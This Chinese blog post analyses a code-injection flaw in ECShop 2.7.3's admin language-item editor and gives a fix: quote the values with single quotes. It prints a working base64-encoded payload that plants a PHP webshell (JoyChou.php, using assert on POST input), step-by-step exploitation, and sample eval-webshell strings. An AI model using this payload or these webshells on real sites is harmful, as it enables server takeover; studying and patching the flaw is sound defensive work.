ecshop flow.php 注入,ECSHOP语言项库注入漏洞分析和修复

1.ECSHOP语言库注入漏洞利用

1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”

0a6a870499f376aba1b1105ebb1fffd4.png

为什么要搜索“用户信息”,还可以搜索其它的吗?

答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以

2cc6437df55e80752fcc610c2cd05ae9.png

2) 添加如下后门,将用户信息改为

用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

即生成一个JoyChou.php文件,内容为:

assert(

$_POST[x]

);

?>

496174da72f2883466105a8abf832603.png

3) 访问user.php即可产生shell(不用注册登录账户)

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php

http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php

aa2998d6033c2928c94d09d5697f8388.png

2.产生原因

在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

for ($i = 0; $i < count($_POST['item_id']); $i++)

{

/* 语言项内容如果为空,不修改 */

if (trim($_POST['item_content'][$i]) == '')

{

unset($src_items[$i]);

}

else

{

$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);

/* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容

$dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";

*/

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';

}

}

修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";

0c2c373fa1a92af687d98b94a3bdafcc.png

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

至于为什么可以执行?原理如下:

下面这三句话都可以执行,与其说代码执行,不如说参数执行。

$a = "${ phpinfo()}"; // 有一个空格

$b = "{${phpinfo()}}"; // 多一对{},但是没有空格

$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";

$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串

?>

而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

/* 载入语言文件 */

require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');

3漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

修改\admin\edit_languages.php

// 修复前

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';

// 修复后,由于想在单引号之间出现单引号,必须使用转义。

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

(责任编辑:最模板)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值